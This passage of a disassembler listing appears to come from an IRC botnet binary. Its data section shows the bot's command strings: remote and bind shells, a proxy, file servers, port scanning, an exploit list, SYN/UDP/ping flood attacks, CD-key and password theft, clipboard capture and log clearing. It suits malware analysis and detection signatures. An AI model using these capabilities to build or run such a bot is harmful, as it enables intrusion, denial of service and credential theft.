34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42BA98 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42BAB0 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42BACC dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42BAE8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42BB04 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42BB40 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42BB64 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42BB84 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42BBA4 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42BBBC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BBDC db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BC04 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h dword_42BC30 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42BC4C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42BC64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 10h unk_42BC90 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42BCB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 10h unk_42BCE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42BD0C db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 10h unk_42BD30 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42BD6C db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42BDA8 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BDE4 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42BE20 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BE5C db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 10h unk_42BE90 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 10h unk_42BEB0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42BEE8 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42BF24 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42BFA4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42BFE4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C020 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE7o ; sub_401ACD+4FA1o dword_42C090 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 10h aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 10h aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 10h aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C138 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 4 unk_42C16C db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C1A0 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C1B4 dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C1B8 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C1C4 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 10h aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 4 aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 10h aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 10h aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o ; ___:00437F84o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C284 db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C2AC db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 4 aS_0: ; DATA XREF: sub_401ACD+1662o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 4 aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_437BF0o unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 10h dword_42C370 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 10h dword_42C390 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42C3B4 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 10h aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42C404 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 10h aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 10h aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42C44C db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C480 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42C490 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42C4A0 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42C4B0 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42C4C0 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42C4CC dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42C4D8 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42C4E4 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 4 dword_42C4FC dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42C508 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 10h dword_42C520 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42C530 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 4 dword_42C54C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42C55C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 4 dword_42C578 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42C584 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42C598 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42C5A4 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42C5B0 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42C5BC dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42C5CC dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 4 dword_42C5EC dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42C5F8 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42C60C dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 4 dword_42C628 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42C644 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 10h aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 4 dword_42C66C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 10h aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 4 aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 4 aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 4 aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 10h aD: ; DATA XREF: sub_401ACD+EF9o ; ___:00437C1Co ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 4 asc_42C718: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 10h aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 4 aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42C75C db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 10h unk_42C790 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 10h unk_42C7C0 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 10h unk_42C820 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42C864 db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 10h dword_42C8A0 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42C8B8 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42C8C0 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42C8DC dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42C8E8 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42C8EC db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 10h aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 4 dword_42C928 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42C930 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42C944 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42C968 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42C9BC db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 10h a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 10h aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 4 asc_42CA28: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42CA2C: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42CA30 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409B12+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409B12:loc_40A694o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: 